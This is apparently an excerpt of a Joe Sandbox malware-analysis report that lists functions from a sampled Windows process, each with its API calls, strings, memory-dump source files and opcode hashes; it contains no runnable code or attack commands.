String ID: 0
API String ID: 36266755-4108050209
Opcode ID: d4f708eb5dc8b5c6995e0955cc92725c5acc9657945594d9418b97e31a9df15c
Instruction ID: 2163df1c36cc2c55e8a7db47b663aad47491b95cff91270f1470dfcb95667ca6
Opcode Fuzzy Hash: d4f708eb5dc8b5c6995e0955cc92725c5acc9657945594d9418b97e31a9df15c
Instruction Fuzzy Hash: 4F713C31640615BFFB219F24DC89FAABFE9FF04724F204256F518661E1C7B9A910DB90

Function 00BB6CD9 Relevance: 22.9, APIs: 11, Strings: 2, Instructions: 194windowCOMMON

Download Yara Rule

APIs

DestroyWindow.USER32(00000000,?), ref: 00BB6DEB

Part of subcall function 00B26B57: _wcslen.LIBCMT ref: 00B26B6A

CreateWindowExW.USER32(00000008,tooltips_class32,00000000,?,80000000,80000000,80000000,80000000,?,00000000,00000000,?), ref: 00BB6E5F
SendMessageW.USER32(00000000,00000433,00000000,00000030), ref: 00BB6E81
SendMessageW.USER32(00000000,00000432,00000000,00000030), ref: 00BB6E94
DestroyWindow.USER32(?), ref: 00BB6EB5
CreateWindowExW.USER32(00000008,tooltips_class32,00000000,?,80000000,80000000,80000000,80000000,?,00000000,00B20000,00000000), ref: 00BB6EE4
SendMessageW.USER32(00000000,00000432,00000000,00000030), ref: 00BB6EFD
GetDesktopWindow.USER32 ref: 00BB6F16
GetWindowRect.USER32(00000000), ref: 00BB6F1D
SendMessageW.USER32(00000000,00000418,00000000,?), ref: 00BB6F35
SendMessageW.USER32(00000000,00000421,?,00000000), ref: 00BB6F4D

Part of subcall function 00B39944: GetWindowLongW.USER32(?,000000EB), ref: 00B39952

Strings

0, xrefs: 00BB6D98
tooltips_class32, xrefs: 00BB6E58, 00BB6EDD

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: Window$MessageSend$CreateDestroy$DesktopLongRect_wcslen
String ID: 0$tooltips_class32
API String ID: 2429346358-3619404913
Opcode ID: 8d0130618cffe34fc106a85f615c889579e2ce801960ca3f3cd6d473720c41de
Instruction ID: f4c67d13375499338b2a17c6be45864ecdd695337b14ee43d6b0d8d4adfd8ba7
Opcode Fuzzy Hash: 8d0130618cffe34fc106a85f615c889579e2ce801960ca3f3cd6d473720c41de
Instruction Fuzzy Hash: 00715675504244AFDB21CF28DC49EBABBE9FB89304F04495DF98987261CBB4ED06CB11

Function 00BB911E Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 181windowfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00B39BA1: GetWindowLongW.USER32(00000000,000000EB), ref: 00B39BB2

DragQueryPoint.SHELL32(?,?), ref: 00BB9147

Part of subcall function 00BB7674: ClientToScreen.USER32(?,?), ref: 00BB769A
Part of subcall function 00BB7674: GetWindowRect.USER32(?,?), ref: 00BB7710
Part of subcall function 00BB7674: PtInRect.USER32(?,?,00BB8B89), ref: 00BB7720

SendMessageW.USER32(?,000000B0,?,?), ref: 00BB91B0
DragQueryFileW.SHELL32(?,000000FF,00000000,00000000), ref: 00BB91BB
DragQueryFileW.SHELL32(?,00000000,?,00000104), ref: 00BB91DE
SendMessageW.USER32(?,000000C2,00000001,?), ref: 00BB9225
SendMessageW.USER32(?,000000B0,?,?), ref: 00BB923E
SendMessageW.USER32(?,000000B1,?,?), ref: 00BB9255
SendMessageW.USER32(?,000000B1,?,?), ref: 00BB9277
DragFinish.SHELL32(?), ref: 00BB927E
DefDlgProcW.USER32(?,00000233,?,00000000,?,?,?), ref: 00BB9371

Strings

@GUI_DRAGFILE, xrefs: 00BB9320
@GUI_DROPID, xrefs: 00BB929E
@GUI_DRAGID, xrefs: 00BB92E9

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: MessageSend$Drag$Query$FileRectWindow$ClientFinishLongPointProcScreen
String ID: @GUI_DRAGFILE$@GUI_DRAGID$@GUI_DROPID
API String ID: 221274066-3440237614
Opcode ID: 6d526f8a1932d9c7a6c46db20f1fa0f5a912afe5d6c610f12820845cbc8d79ff
Instruction ID: c1b4e318efc52f1c6c5fe9939edc28e2448d6d45df1e071395d7513954db2575
Opcode Fuzzy Hash: 6d526f8a1932d9c7a6c46db20f1fa0f5a912afe5d6c610f12820845cbc8d79ff
Instruction Fuzzy Hash: B8615E71108301AFD701DF55DC85DAFBBE8EF89750F000AADF59A931A1DBB09A49CB92

Function 00B9C476 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 143networkCOMMON

Download Yara Rule

APIs

InternetConnectW.WININET(?,?,?,?,?,?,00000000,00000000), ref: 00B9C4B0
GetLastError.KERNEL32(?,00000003,?,?,?,?,?,?), ref: 00B9C4C3
SetEvent.KERNEL32(?,?,00000003,?,?,?,?,?,?), ref: 00B9C4D7
HttpOpenRequestW.WININET(00000000,00000000,?,00000000,00000000,00000000,?,00000000), ref: 00B9C4F0
InternetQueryOptionW.WININET(00000000,0000001F,?,?), ref: 00B9C533
InternetSetOptionW.WININET(00000000,0000001F,00000100,00000004), ref: 00B9C549
HttpSendRequestW.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00B9C554
HttpQueryInfoW.WININET(00000000,00000005,?,?,?), ref: 00B9C584
GetLastError.KERNEL32(?,00000003,?,?,?,?,?,?), ref: 00B9C5DC
SetEvent.KERNEL32(?,?,00000003,?,?,?,?,?,?), ref: 00B9C5F0
InternetCloseHandle.WININET(00000000), ref: 00B9C5FB

Strings

, xrefs: 00B9C575

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: Internet$Http$ErrorEventLastOptionQueryRequest$CloseConnectHandleInfoOpenSend
String ID:
API String ID: 3800310941-3916222277
Opcode ID: fb5ca4de1f5077c19cd3cbe5c23931e016c8da8f49820f59d3165c4c904dd165
Instruction ID: 085c5a6f5cbd4f957397c3bfacefd83a51aa3eb6266863ddbd9004ca6eaa72c1
Opcode Fuzzy Hash: fb5ca4de1f5077c19cd3cbe5c23931e016c8da8f49820f59d3165c4c904dd165
Instruction Fuzzy Hash: F65159B0600208BFEB21CF61C989AAB7FFCFB19744F104569F94697210DB70EA44DB60

Function 00BB856F Relevance: 22.6, APIs: 15, Instructions: 131filecommemoryCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,80000000,00000000,00000000,00000003,00000000,00000000,?,00000000,?), ref: 00BB8592
GetFileSize.KERNEL32(00000000,00000000), ref: 00BB85A2
GlobalAlloc.KERNEL32(00000002,00000000), ref: 00BB85AD
CloseHandle.KERNEL32(00000000), ref: 00BB85BA
GlobalLock.KERNEL32(00000000), ref: 00BB85C8
ReadFile.KERNEL32(00000000,00000000,00000000,?,00000000), ref: 00BB85D7
GlobalUnlock.KERNEL32(00000000), ref: 00BB85E0
CloseHandle.KERNEL32(00000000), ref: 00BB85E7
CreateStreamOnHGlobal.OLE32(00000000,00000001,?), ref: 00BB85F8
OleLoadPicture.OLEAUT32(?,00000000,00000000,00BBFC38,?), ref: 00BB8611
GlobalFree.KERNEL32(00000000), ref: 00BB8621
GetObjectW.GDI32(?,00000018,000000FF), ref: 00BB8641
CopyImage.USER32(?,00000000,00000000,?,00002000), ref: 00BB8671
DeleteObject.GDI32(00000000), ref: 00BB8699
SendMessageW.USER32(?,00000172,00000000,00000000), ref: 00BB86AF

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: Global$File$CloseCreateHandleObject$AllocCopyDeleteFreeImageLoadLockMessagePictureReadSendSizeStreamUnlock
String ID:
API String ID: 3840717409-0
Opcode ID: 63d12d160aa7a759046fc52131117e8d4d85889dc89fba1035945180a106e7bb
Instruction ID: 9b928dd3d207ea951f753093997f9d505e72e29af1796eec5b79bf5b15e02793
Opcode Fuzzy Hash: 63d12d160aa7a759046fc52131117e8d4d85889dc89fba1035945180a106e7bb
Instruction Fuzzy Hash: E141F975600205AFDB11DFA5DC88EAA7BBCEF89711F104159F906E7260DBB09D01CB60

Function 00B914BD Relevance: 21.4, APIs: 10, Strings: 2, Instructions: 360timeCOMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(00000000), ref: 00B91502
VariantCopy.OLEAUT32(?,?), ref: 00B9150B
VariantClear.OLEAUT32(?), ref: 00B91517
VariantTimeToSystemTime.OLEAUT32(?,?,?), ref: 00B915FB
VarR8FromDec.OLEAUT32(?,?), ref: 00B91657
VariantInit.OLEAUT32(?), ref: 00B91708
SysFreeString.OLEAUT32(?), ref: 00B9178C
VariantClear.OLEAUT32(?), ref: 00B917D8
VariantClear.OLEAUT32(?), ref: 00B917E7
VariantInit.OLEAUT32(00000000), ref: 00B91823

Strings

%4d%02d%02d%02d%02d%02d, xrefs: 00B91625
Default, xrefs: 00B916AF

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: Variant$ClearInit$Time$CopyFreeFromStringSystem
String ID: %4d%02d%02d%02d%02d%02d$Default
API String ID: 1234038744-3931177956
Opcode ID: ea9950228967af6b4f646b8f08f0e6ab450166e8d93dfa79cc5b5b6d460c4d77
Instruction ID: a34f23ff1cae725f4dbf06f22005ee008f764b8c25023dad9bb7865ee335b7d8
Opcode Fuzzy Hash: ea9950228967af6b4f646b8f08f0e6ab450166e8d93dfa79cc5b5b6d460c4d77
Instruction Fuzzy Hash: E8D1DF71A00116EBDF009F69E885B79B7F5FF44700F2288E6E446AB290DB34DD46EB61

Function 00BAB60E Relevance: 21.3, APIs: 10, Strings: 2, Instructions: 285registrylibraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 00B29CB3: _wcslen.LIBCMT ref: 00B29CBD

Part of subcall function 00BAC998: CharUpperBuffW.USER32(?,?,?,?,?,?,?,00BAB6AE,?,?), ref: 00BAC9B5
Part of subcall function 00BAC998: _wcslen.LIBCMT ref: 00BAC9F1
Part of subcall function 00BAC998: _wcslen.LIBCMT ref: 00BACA68
Part of subcall function 00BAC998: _wcslen.LIBCMT ref: 00BACA9E

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 00BAB6F4
RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 00BAB772
RegDeleteValueW.ADVAPI32(?,?), ref: 00BAB80A
RegCloseKey.ADVAPI32(?), ref: 00BAB87E
RegCloseKey.ADVAPI32(?), ref: 00BAB89C
LoadLibraryA.KERNEL32(advapi32.dll), ref: 00BAB8F2
GetProcAddress.KERNEL32(00000000,RegDeleteKeyExW), ref: 00BAB904
RegDeleteKeyW.ADVAPI32(?,?), ref: 00BAB922
FreeLibrary.KERNEL32(00000000), ref: 00BAB983
RegCloseKey.ADVAPI32(00000000), ref: 00BAB994

Strings

RegDeleteKeyExW, xrefs: 00BAB8FE
advapi32.dll, xrefs: 00BAB8ED

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: _wcslen$Close$DeleteLibrary$AddressBuffCharConnectFreeLoadOpenProcRegistryUpperValue
String ID: RegDeleteKeyExW$advapi32.dll
API String ID: 146587525-4033151799
Opcode ID: dec2faebc56a356351ac2ad4994c617e10990d4119d02b11df165f324fed9fc6
Instruction ID: 7d4b5f2b83bde4f54a3a7929604ce70b16477e7701bd93352963ca8c7db55c75
Opcode Fuzzy Hash: dec2faebc56a356351ac2ad4994c617e10990d4119d02b11df165f324fed9fc6
Instruction Fuzzy Hash: 52C16A30208241AFD714DF18C495F2ABBE5FF85318F54859CF4AA8B2A2CB75ED45CB91

Function 00BA255C Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 169windowCOMMON

Download Yara Rule

APIs

GetDC.USER32(00000000), ref: 00BA25D8
CreateCompatibleBitmap.GDI32(00000000,?,?), ref: 00BA25E8
CreateCompatibleDC.GDI32(?), ref: 00BA25F4
SelectObject.GDI32(00000000,?), ref: 00BA2601
StretchBlt.GDI32(?,00000000,00000000,?,?,?,00000006,?,?,?,00CC0020), ref: 00BA266D
GetDIBits.GDI32(?,?,00000000,00000000,00000000,00000028,00000000), ref: 00BA26AC
GetDIBits.GDI32(?,?,00000000,?,00000000,00000028,00000000), ref: 00BA26D0
SelectObject.GDI32(?,?), ref: 00BA26D8
DeleteObject.GDI32(?), ref: 00BA26E1
DeleteDC.GDI32(?), ref: 00BA26E8
ReleaseDC.USER32(00000000,?), ref: 00BA26F3

Strings

(, xrefs: 00BA268D

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: Object$BitsCompatibleCreateDeleteSelect$BitmapReleaseStretch
String ID: (
API String ID: 2598888154-3887548279
Opcode ID: defeedab401c50a0357b387539ec5cb33abca0946738544b5da7fb8a7367aaca
Instruction ID: 1797894615a9f39601da6a69c3cbbb3f2b4f9a67df533ae5058e2ba2bdbfd738
Opcode Fuzzy Hash: defeedab401c50a0357b387539ec5cb33abca0946738544b5da7fb8a7367aaca
Instruction Fuzzy Hash: D861C075D04219EFCF04CFA8D984AAEBBF5FF48310F20856AE955A7250D770A951CFA0

Function 00B5DA5D Relevance: 19.6, APIs: 13, Instructions: 114COMMONLIBRARYCODE

Download Yara Rule

APIs

___free_lconv_mon.LIBCMT ref: 00B5DAA1

Part of subcall function 00B5D63C: _free.LIBCMT ref: 00B5D659
Part of subcall function 00B5D63C: _free.LIBCMT ref: 00B5D66B
Part of subcall function 00B5D63C: _free.LIBCMT ref: 00B5D67D
Part of subcall function 00B5D63C: _free.LIBCMT ref: 00B5D68F
Part of subcall function 00B5D63C: _free.LIBCMT ref: 00B5D6A1
Part of subcall function 00B5D63C: _free.LIBCMT ref: 00B5D6B3
Part of subcall function 00B5D63C: _free.LIBCMT ref: 00B5D6C5
Part of subcall function 00B5D63C: _free.LIBCMT ref: 00B5D6D7
Part of subcall function 00B5D63C: _free.LIBCMT ref: 00B5D6E9
Part of subcall function 00B5D63C: _free.LIBCMT ref: 00B5D6FB
Part of subcall function 00B5D63C: _free.LIBCMT ref: 00B5D70D
Part of subcall function 00B5D63C: _free.LIBCMT ref: 00B5D71F
Part of subcall function 00B5D63C: _free.LIBCMT ref: 00B5D731

_free.LIBCMT ref: 00B5DA96

Part of subcall function 00B529C8: HeapFree.KERNEL32(00000000,00000000,?,00B5D7D1,00000000,00000000,00000000,00000000,?,00B5D7F8,00000000,00000007,00000000,?,00B5DBF5,00000000), ref: 00B529DE
Part of subcall function 00B529C8: GetLastError.KERNEL32(00000000,?,00B5D7D1,00000000,00000000,00000000,00000000,?,00B5D7F8,00000000,00000007,00000000,?,00B5DBF5,00000000,00000000), ref: 00B529F0

_free.LIBCMT ref: 00B5DAB8
_free.LIBCMT ref: 00B5DACD
_free.LIBCMT ref: 00B5DAD8
_free.LIBCMT ref: 00B5DAFA
_free.LIBCMT ref: 00B5DB0D
_free.LIBCMT ref: 00B5DB1B
_free.LIBCMT ref: 00B5DB26
_free.LIBCMT ref: 00B5DB5E
_free.LIBCMT ref: 00B5DB65
_free.LIBCMT ref: 00B5DB82
_free.LIBCMT ref: 00B5DB9A

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast___free_lconv_mon
String ID:
API String ID: 161543041-0
Opcode ID: de52c23763ee6395eaae21b3cabe4209a37aa1eb650ca8a3e5e751a57c6fda1c
Instruction ID: c662dd4cec80bce005a14f7d84f2e82bcffd7b03eb72375d695a35cf13b3f6fc
Opcode Fuzzy Hash: de52c23763ee6395eaae21b3cabe4209a37aa1eb650ca8a3e5e751a57c6fda1c
Instruction Fuzzy Hash: 48313D316047059FEB31AB39E845B9677E9FF01312F1546E9E859E7291DF31AC48C720

Function 00B8365B Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 267windowtimeCOMMON

Download Yara Rule

APIs

GetClassNameW.USER32(?,?,00000100), ref: 00B8369C
_wcslen.LIBCMT ref: 00B836A7
SendMessageTimeoutW.USER32(?,?,00000101,00000000,00000002,00001388,?), ref: 00B83797
GetClassNameW.USER32(?,?,00000400), ref: 00B8380C
GetDlgCtrlID.USER32(?), ref: 00B8385D
GetWindowRect.USER32(?,?), ref: 00B83882
GetParent.USER32(?), ref: 00B838A0
ScreenToClient.USER32(00000000), ref: 00B838A7
GetClassNameW.USER32(?,?,00000100), ref: 00B83921
GetWindowTextW.USER32(?,?,00000400), ref: 00B8395D

Strings

%s%u, xrefs: 00B83734

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: ClassName$Window$ClientCtrlMessageParentRectScreenSendTextTimeout_wcslen
String ID: %s%u
API String ID: 4010501982-679674701
Opcode ID: 3abd432af69a003481b41fbde317437663ddfc814050e968f0e0c82f4037b3c9
Instruction ID: a66c6150c330695ef2157b53306d02688321b3faefc7fe27b375aaf7ad025ffe
Opcode Fuzzy Hash: 3abd432af69a003481b41fbde317437663ddfc814050e968f0e0c82f4037b3c9
Instruction Fuzzy Hash: F291B671204606AFD715EF24C885FAAF7E8FF44B50F008659F99AD31A0EB70EA45CB91

Function 00B84954 Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 253COMMON

Download Yara Rule

APIs

GetClassNameW.USER32(?,?,00000400), ref: 00B84994
GetWindowTextW.USER32(?,?,00000400), ref: 00B849DA
_wcslen.LIBCMT ref: 00B849EB
CharUpperBuffW.USER32(?,00000000), ref: 00B849F7
_wcsstr.LIBVCRUNTIME ref: 00B84A2C
GetClassNameW.USER32(00000018,?,00000400), ref: 00B84A64
GetWindowTextW.USER32(?,?,00000400), ref: 00B84A9D
GetClassNameW.USER32(00000018,?,00000400), ref: 00B84AE6
GetClassNameW.USER32(?,?,00000400), ref: 00B84B20
GetWindowRect.USER32(?,?), ref: 00B84B8B

Strings

ThumbnailClass, xrefs: 00B84A6F, 00B84AF1

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: ClassName$Window$Text$BuffCharRectUpper_wcslen_wcsstr
String ID: ThumbnailClass
API String ID: 1311036022-1241985126
Opcode ID: c26c67c09875fd444eaffdff16dd8de89cc4b6632c2d045907c44b6ea77b836a
Instruction ID: 9c0688a9b26dbf7904b0d0752750a6cde25ac56c67f50a5a7220b9a38c97badb
Opcode Fuzzy Hash: c26c67c09875fd444eaffdff16dd8de89cc4b6632c2d045907c44b6ea77b836a
Instruction Fuzzy Hash: C491C2310042069FDB14EF14C985FAAB7E8FF44314F0485AAFD869B1A6DB30ED45CBA1

Function 00BACC34 Relevance: 19.4, APIs: 9, Strings: 2, Instructions: 104registryCOMMON

Download Yara Rule

APIs

RegEnumKeyExW.ADVAPI32(?,00000000,?,000000FF,00000000,00000000,00000000,?,?,?,00000000), ref: 00BACC64
RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?,?,?,00000000), ref: 00BACC8D
FreeLibrary.KERNEL32(00000000,?,?,00000000), ref: 00BACD48

Part of subcall function 00BACC34: RegCloseKey.ADVAPI32(?,?,?,00000000), ref: 00BACCAA
Part of subcall function 00BACC34: LoadLibraryA.KERNEL32(advapi32.dll,?,?,00000000), ref: 00BACCBD
Part of subcall function 00BACC34: GetProcAddress.KERNEL32(00000000,RegDeleteKeyExW), ref: 00BACCCF
Part of subcall function 00BACC34: FreeLibrary.KERNEL32(00000000,?,?,00000000), ref: 00BACD05
Part of subcall function 00BACC34: RegEnumKeyExW.ADVAPI32(?,00000000,?,000000FF,00000000,00000000,00000000,?,?,?,00000000), ref: 00BACD28

RegDeleteKeyW.ADVAPI32(?,?), ref: 00BACCF3

Strings

RegDeleteKeyExW, xrefs: 00BACCC9
advapi32.dll, xrefs: 00BACCB8

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: Library$EnumFree$AddressCloseDeleteLoadOpenProc
String ID: RegDeleteKeyExW$advapi32.dll
API String ID: 2734957052-4033151799
Opcode ID: 390b12b1247f386c03e0e4e767a725d8d2cdb85098e5a0bcc28f78bdbdbc66a7
Instruction ID: 2d1e53d15952afdd1a2d463783aacfba3bb5ede210545c9ba1bc041910b4c6d4
Opcode Fuzzy Hash: 390b12b1247f386c03e0e4e767a725d8d2cdb85098e5a0bcc28f78bdbdbc66a7
Instruction Fuzzy Hash: CF317A71905128BBDB20DB95DC88EFFBFBCEF16750F0001A5B946E3250DBB09A459AA0

Function 00B93D1E Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 101fileCOMMON

Download Yara Rule

APIs

GetFullPathNameW.KERNEL32(?,00007FFF,?,?), ref: 00B93D40
_wcslen.LIBCMT ref: 00B93D6D
CreateDirectoryW.KERNEL32(?,00000000), ref: 00B93D9D
CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000003,02200000,00000000), ref: 00B93DBE
RemoveDirectoryW.KERNEL32(?), ref: 00B93DCE
DeviceIoControl.KERNEL32(00000000,000900A4,?,?,00000000,00000000,?,00000000), ref: 00B93E55
CloseHandle.KERNEL32(00000000), ref: 00B93E60
CloseHandle.KERNEL32(00000000), ref: 00B93E6B

Strings

\??\%s, xrefs: 00B93D5B
\, xrefs: 00B93D77
:, xrefs: 00B93D82

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: CloseCreateDirectoryHandle$ControlDeviceFileFullNamePathRemove_wcslen
String ID: :$\$\??\%s
API String ID: 1149970189-3457252023
Opcode ID: 80f41cfc9da509408fb2dc9154cf2c0a823c325070d27607381018427f31b989
Instruction ID: 6adda059cba18f48fa3b3acdf9a3d04f9ab395745000bfac8104fb09986e8dcd
Opcode Fuzzy Hash: 80f41cfc9da509408fb2dc9154cf2c0a823c325070d27607381018427f31b989
